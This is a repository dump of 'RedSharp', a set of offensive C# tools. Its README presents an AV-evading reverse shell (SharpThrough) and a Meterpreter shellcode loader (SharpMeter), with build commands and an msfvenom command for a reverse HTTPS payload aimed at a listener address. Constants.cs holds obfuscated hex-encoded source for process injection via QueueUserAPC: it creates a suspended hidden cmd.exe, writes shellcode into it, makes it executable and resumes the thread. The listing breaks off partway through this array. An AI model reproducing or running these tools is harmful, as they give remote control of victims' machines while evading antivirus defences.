├── LICENSE ├── README.md ├── SharpMeter ├── App.config ├── Constants.cs ├── Program.cs ├── Properties │ └── AssemblyInfo.cs ├── SharpMeter.csproj ├── SharpMeter.csproj.user ├── apc-new.cs ├── bin │ ├── Debug │ │ ├── System.Net.Http.dll │ │ ├── System.Net.Http.xml │ │ ├── pay.txt │ │ ├── sharpmeter.exe │ │ ├── sharpmeter.exe.config │ │ ├── sharpmeter.pdb │ │ ├── sharpmeter.vshost.exe │ │ └── sharpmeter.vshost.exe.config │ ├── x64 │ │ └── Debug │ │ │ ├── System.Net.Http.dll │ │ │ ├── System.Net.Http.xml │ │ │ ├── pay.txt │ │ │ ├── sharpmeter.exe │ │ │ ├── sharpmeter.exe.config │ │ │ ├── sharpmeter.pdb │ │ │ ├── sharpmeter.vshost.exe │ │ │ ├── sharpmeter.vshost.exe.config │ │ │ ├── sharpmeter.vshost.exe.manifest │ │ │ ├── sharpthrough.exe │ │ │ ├── sharpthrough.exe.config │ │ │ └── sharpthrough.pdb │ └── x86 │ │ └── Debug │ │ ├── System.Net.Http.dll │ │ ├── System.Net.Http.xml │ │ ├── sharpmeter.exe │ │ ├── sharpmeter.exe.config │ │ ├── sharpmeter.pdb │ │ ├── sharpmeter.vshost.exe │ │ └── sharpmeter.vshost.exe.config ├── obj │ ├── Debug │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── SharpMeter.csproj.FileListAbsolute.txt │ │ ├── SharpMeter.csprojResolveAssemblyReference.cache │ │ ├── sharpmeter.exe │ │ └── sharpmeter.pdb │ ├── x64 │ │ └── Debug │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ ├── SharpMeter.csproj.FileListAbsolute.txt │ │ │ ├── SharpThrough.csproj.FileListAbsolute.txt │ │ │ ├── SharpThrough.csprojResolveAssemblyReference.cache │ │ │ ├── sharpmeter.exe │ │ │ ├── sharpmeter.pdb │ │ │ ├── sharpthrough.exe │ │ │ └── sharpthrough.pdb │ └── x86 │ │ └── Debug │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── SharpMeter.csproj.FileListAbsolute.txt │ │ ├── sharpmeter.exe │ │ └── sharpmeter.pdb └── pay.txt └── SharpThrough ├── App.config ├── Program.cs ├── Properties └── AssemblyInfo.cs ├── SharpThrough.csproj ├── SharpThrough.csproj.user ├── bin └── x64 │ └── Debug │ ├── System.Net.Http.dll │ ├── System.Net.Http.xml │ ├── sharpthrough.exe │ ├── sharpthrough.exe.config │ └── sharpthrough.pdb └── obj └── x64 └── Debug ├── DesignTimeResolveAssemblyReferencesInput.cache ├── SharpThrough.csproj.FileListAbsolute.txt ├── SharpThrough.csprojResolveAssemblyReference.cache ├── sharpthrough.exe └── sharpthrough.pdb /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2018, chris 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # RedSharp 2 | random C# tools and scripts for Pentesting and offensive stuff 3 | 4 | ## SharpThrough 5 | Simple yet effective C# reverse shell, at the moment can bypass many (maybe all) AVs 6 | Simple technique is used -> it compiles code in memory 7 | IDE VS 2015 , csproj is available. Compile platform choiche is yours: suggested is x64 8 | You can also compile it with : 9 | ```C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe /platform:x64 /out:sharpthrough.exe Program.cs``` 10 | ``` 11 | Usage : 12 | sharpthrough.exe IP PORT 13 | ``` 14 | 15 | ## SharpMeter 16 | Executing Meterpreter generated shellcode via QueueUserAPC: 17 | (create a new process, "cmd.exe" in this case, injects and executes shellcode in process memory). 18 | First, generate your Meterpreter payload in C# format, like this : 19 | ```msfvenom -a x64 -p windows/x64/meterpreter/reverse_https lhost=10.200.3.163 lport=443 -f csharp -o pay.txt``` 20 | Watch out to your architecture choice! x64 payload will only work with x64 executable version of sharpmeter. 21 | Do not touch generated payload format (not even the variable name)! Leave it as it is. 22 | ``` 23 | Usage : 24 | sharpmeter.exe PATH_TO_PAYLOAD 25 | 26 | Setup your Meterpreter handler + payload listener on the attacking machine 27 | ``` 28 | An example payload (x64 format) is attached inside the project. IDE VS 2015, csproj is available. 29 | This program is capable of running ANY shellcode but you need to be aware of shellcode format; it has to be in "meterpreter" format, so you may eventually convert it (but it's an easy task) 30 | 31 | https://www.virustotal.com/#/file/12835ae086001626776b4ea0ce68035e2cd46c1924cb83bbe4ae7d5f615001ce/detection 32 | 33 | --- 34 | 35 | ![Beer](https://icons.iconarchive.com/icons/flat-icons.com/flat/48/Beer-icon.png) [Buy me a beer if you like ;-)](https://www.buymeacoffee.com/padovah4ck) 36 | -------------------------------------------------------------------------------- /SharpMeter/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /SharpMeter/Constants.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace sharpmtr 7 | { 8 | public class Constants 9 | { 10 | /*byte[] bytes = System.Text.Encoding.UTF8.GetBytes(code); 11 | string strOut = "byte[] byteRS = new byte[" + bytes.Length + "] { "; 12 | for (int i = 0; i < bytes.Length; i++) 13 | { 14 | strOut += String.Format("0x{0:X2}, ", bytes[i]); 15 | } 16 | strOut += " };"; 17 | System.Diagnostics.Debug.Write (strOut);*/ 18 | 19 | public static byte[] byteRS = new byte[6654] { 0x0D, 0x0A, 0x75, 0x73, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x3B, 0x0D, 0x0A, 0x75, 0x73, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x52, 0x75, 0x6E, 0x74, 0x69, 0x6D, 0x65, 0x2E, 0x49, 0x6E, 0x74, 0x65, 0x72, 0x6F, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x6E, 0x61, 0x6D, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x20, 0x78, 0x63, 0x75, 0x74, 0x65, 0x0D, 0x0A, 0x7B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x20, 0x61, 0x70, 0x63, 0x69, 0x70, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x76, 0x6F, 0x69, 0x64, 0x20, 0x46, 0x6C, 0x79, 0x28, 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x79, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7C, 0x53, 0x54, 0x55, 0x46, 0x46, 0x7C, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x20, 0x70, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x70, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x70, 0x61, 0x74, 0x68, 0x20, 0x3D, 0x20, 0x40, 0x22, 0x63, 0x3A, 0x5C, 0x77, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x5C, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x33, 0x32, 0x5C, 0x63, 0x6D, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x22, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x53, 0x54, 0x41, 0x52, 0x54, 0x55, 0x50, 0x49, 0x4E, 0x46, 0x4F, 0x20, 0x73, 0x69, 0x20, 0x3D, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x53, 0x54, 0x41, 0x52, 0x54, 0x55, 0x50, 0x49, 0x4E, 0x46, 0x4F, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x69, 0x2E, 0x63, 0x62, 0x20, 0x3D, 0x20, 0x28, 0x75, 0x69, 0x6E, 0x74, 0x29, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x52, 0x75, 0x6E, 0x74, 0x69, 0x6D, 0x65, 0x2E, 0x49, 0x6E, 0x74, 0x65, 0x72, 0x6F, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x2E, 0x4D, 0x61, 0x72, 0x73, 0x68, 0x61, 0x6C, 0x2E, 0x53, 0x69, 0x7A, 0x65, 0x4F, 0x66, 0x28, 0x74, 0x79, 0x70, 0x65, 0x6F, 0x66, 0x28, 0x53, 0x54, 0x41, 0x52, 0x54, 0x55, 0x50, 0x49, 0x4E, 0x46, 0x4F, 0x29, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x69, 0x2E, 0x64, 0x77, 0x46, 0x6C, 0x61, 0x67, 0x73, 0x20, 0x3D, 0x20, 0x53, 0x54, 0x41, 0x52, 0x54, 0x46, 0x5F, 0x55, 0x53, 0x45, 0x53, 0x48, 0x4F, 0x57, 0x57, 0x49, 0x4E, 0x44, 0x4F, 0x57, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x73, 0x69, 0x2E, 0x77, 0x53, 0x68, 0x6F, 0x77, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x20, 0x3D, 0x20, 0x28, 0x73, 0x68, 0x6F, 0x72, 0x74, 0x29, 0x28, 0x53, 0x57, 0x2E, 0x53, 0x57, 0x5F, 0x48, 0x49, 0x44, 0x45, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x50, 0x52, 0x4F, 0x43, 0x45, 0x53, 0x53, 0x5F, 0x49, 0x4E, 0x46, 0x4F, 0x52, 0x4D, 0x41, 0x54, 0x49, 0x4F, 0x4E, 0x20, 0x70, 0x69, 0x20, 0x3D, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x50, 0x52, 0x4F, 0x43, 0x45, 0x53, 0x53, 0x5F, 0x49, 0x4E, 0x46, 0x4F, 0x52, 0x4D, 0x41, 0x54, 0x49, 0x4F, 0x4E, 0x28, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x70, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x20, 0x69, 0x6E, 0x20, 0x73, 0x75, 0x73, 0x70, 0x65, 0x6E, 0x64, 0x65, 0x64, 0x20, 0x73, 0x74, 0x61, 0x74, 0x65, 0x20, 0x74, 0x6F, 0x20, 0x69, 0x6E, 0x6A, 0x65, 0x63, 0x74, 0x20, 0x69, 0x6E, 0x74, 0x6F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x6F, 0x6C, 0x20, 0x73, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x20, 0x3D, 0x20, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x28, 0x70, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x70, 0x61, 0x74, 0x68, 0x2C, 0x20, 0x6E, 0x75, 0x6C, 0x6C, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x2E, 0x5A, 0x65, 0x72, 0x6F, 0x2C, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x2E, 0x5A, 0x65, 0x72, 0x6F, 0x2C, 0x20, 0x66, 0x61, 0x6C, 0x73, 0x65, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x43, 0x72, 0x65, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x46, 0x6C, 0x61, 0x67, 0x73, 0x2E, 0x43, 0x52, 0x45, 0x41, 0x54, 0x45, 0x5F, 0x53, 0x55, 0x53, 0x50, 0x45, 0x4E, 0x44, 0x45, 0x44, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x2E, 0x5A, 0x65, 0x72, 0x6F, 0x2C, 0x20, 0x6E, 0x75, 0x6C, 0x6C, 0x2C, 0x20, 0x72, 0x65, 0x66, 0x20, 0x73, 0x69, 0x2C, 0x20, 0x6F, 0x75, 0x74, 0x20, 0x70, 0x69, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x20, 0x6D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x20, 0x77, 0x69, 0x74, 0x68, 0x69, 0x6E, 0x20, 0x70, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x77, 0x72, 0x69, 0x74, 0x65, 0x20, 0x73, 0x68, 0x65, 0x6C, 0x6C, 0x63, 0x6F, 0x64, 0x65, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x72, 0x65, 0x73, 0x75, 0x6C, 0x74, 0x50, 0x74, 0x72, 0x20, 0x3D, 0x20, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x45, 0x78, 0x28, 0x70, 0x69, 0x2E, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x2C, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x2E, 0x5A, 0x65, 0x72, 0x6F, 0x2C, 0x20, 0x62, 0x75, 0x66, 0x2E, 0x4C, 0x65, 0x6E, 0x67, 0x74, 0x68, 0x2C, 0x20, 0x4D, 0x45, 0x4D, 0x5F, 0x43, 0x4F, 0x4D, 0x4D, 0x49, 0x54, 0x2C, 0x20, 0x50, 0x41, 0x47, 0x45, 0x5F, 0x52, 0x45, 0x41, 0x44, 0x57, 0x52, 0x49, 0x54, 0x45, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x62, 0x79, 0x74, 0x65, 0x73, 0x57, 0x72, 0x69, 0x74, 0x74, 0x65, 0x6E, 0x20, 0x3D, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x2E, 0x5A, 0x65, 0x72, 0x6F, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x6F, 0x6C, 0x20, 0x72, 0x65, 0x73, 0x75, 0x6C, 0x74, 0x42, 0x6F, 0x6F, 0x6C, 0x20, 0x3D, 0x20, 0x57, 0x72, 0x69, 0x74, 0x65, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x28, 0x70, 0x69, 0x2E, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x2C, 0x20, 0x72, 0x65, 0x73, 0x75, 0x6C, 0x74, 0x50, 0x74, 0x72, 0x2C, 0x20, 0x62, 0x75, 0x66, 0x2C, 0x20, 0x62, 0x75, 0x66, 0x2E, 0x4C, 0x65, 0x6E, 0x67, 0x74, 0x68, 0x2C, 0x20, 0x6F, 0x75, 0x74, 0x20, 0x62, 0x79, 0x74, 0x65, 0x73, 0x57, 0x72, 0x69, 0x74, 0x74, 0x65, 0x6E, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x4F, 0x70, 0x65, 0x6E, 0x20, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x73, 0x68, 0x74, 0x20, 0x3D, 0x20, 0x4F, 0x70, 0x65, 0x6E, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x28, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x2E, 0x53, 0x45, 0x54, 0x5F, 0x43, 0x4F, 0x4E, 0x54, 0x45, 0x58, 0x54, 0x2C, 0x20, 0x66, 0x61, 0x6C, 0x73, 0x65, 0x2C, 0x20, 0x28, 0x69, 0x6E, 0x74, 0x29, 0x70, 0x69, 0x2E, 0x64, 0x77, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x49, 0x64, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x6F, 0x6C, 0x64, 0x50, 0x72, 0x6F, 0x74, 0x65, 0x63, 0x74, 0x20, 0x3D, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x4D, 0x6F, 0x64, 0x69, 0x66, 0x79, 0x20, 0x6D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x20, 0x70, 0x65, 0x72, 0x6D, 0x69, 0x73, 0x73, 0x69, 0x6F, 0x6E, 0x73, 0x20, 0x6F, 0x6E, 0x20, 0x61, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x64, 0x20, 0x73, 0x68, 0x65, 0x6C, 0x6C, 0x63, 0x6F, 0x64, 0x65, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x73, 0x75, 0x6C, 0x74, 0x42, 0x6F, 0x6F, 0x6C, 0x20, 0x3D, 0x20, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x50, 0x72, 0x6F, 0x74, 0x65, 0x63, 0x74, 0x45, 0x78, 0x28, 0x70, 0x69, 0x2E, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x2C, 0x20, 0x72, 0x65, 0x73, 0x75, 0x6C, 0x74, 0x50, 0x74, 0x72, 0x2C, 0x20, 0x62, 0x75, 0x66, 0x2E, 0x4C, 0x65, 0x6E, 0x67, 0x74, 0x68, 0x2C, 0x20, 0x50, 0x41, 0x47, 0x45, 0x5F, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x45, 0x5F, 0x52, 0x45, 0x41, 0x44, 0x2C, 0x20, 0x6F, 0x75, 0x74, 0x20, 0x6F, 0x6C, 0x64, 0x50, 0x72, 0x6F, 0x74, 0x65, 0x63, 0x74, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2F, 0x20, 0x41, 0x73, 0x73, 0x69, 0x67, 0x6E, 0x20, 0x61, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x20, 0x6F, 0x66, 0x20, 0x73, 0x68, 0x65, 0x6C, 0x6C, 0x63, 0x6F, 0x64, 0x65, 0x20, 0x74, 0x6F, 0x20, 0x74, 0x68, 0x65, 0x20, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x20, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x20, 0x61, 0x70, 0x63, 0x20, 0x71, 0x75, 0x65, 0x75, 0x65, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x70, 0x74, 0x72, 0x20, 0x3D, 0x20, 0x51, 0x75, 0x65, 0x75, 0x65, 0x55, 0x73, 0x65, 0x72, 0x41, 0x50, 0x43, 0x28, 0x72, 0x65, 0x73, 0x75, 0x6C, 0x74, 0x50, 0x74, 0x72, 0x2C, 0x20, 0x73, 0x68, 0x74, 0x2C, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x2E, 0x5A, 0x65, 0x72, 0x6F, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x20, 0x3D, 0x20, 0x70, 0x69, 0x2E, 0x68, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x52, 0x65, 0x73, 0x75, 0x6D, 0x65, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x28, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x29, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x61, 0x74, 0x63, 0x68, 0x20, 0x28, 0x45, 0x78, 0x63, 0x65, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x65, 0x78, 0x29, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x68, 0x72, 0x6F, 0x77, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x55, 0x49, 0x6E, 0x74, 0x33, 0x32, 0x20, 0x4D, 0x45, 0x4D, 0x5F, 0x43, 0x4F, 0x4D, 0x4D, 0x49, 0x54, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x31, 0x30, 0x30, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x55, 0x49, 0x6E, 0x74, 0x33, 0x32, 0x20, 0x53, 0x54, 0x41, 0x52, 0x54, 0x46, 0x5F, 0x55, 0x53, 0x45, 0x53, 0x48, 0x4F, 0x57, 0x57, 0x49, 0x4E, 0x44, 0x4F, 0x57, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x31, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x55, 0x49, 0x6E, 0x74, 0x33, 0x32, 0x20, 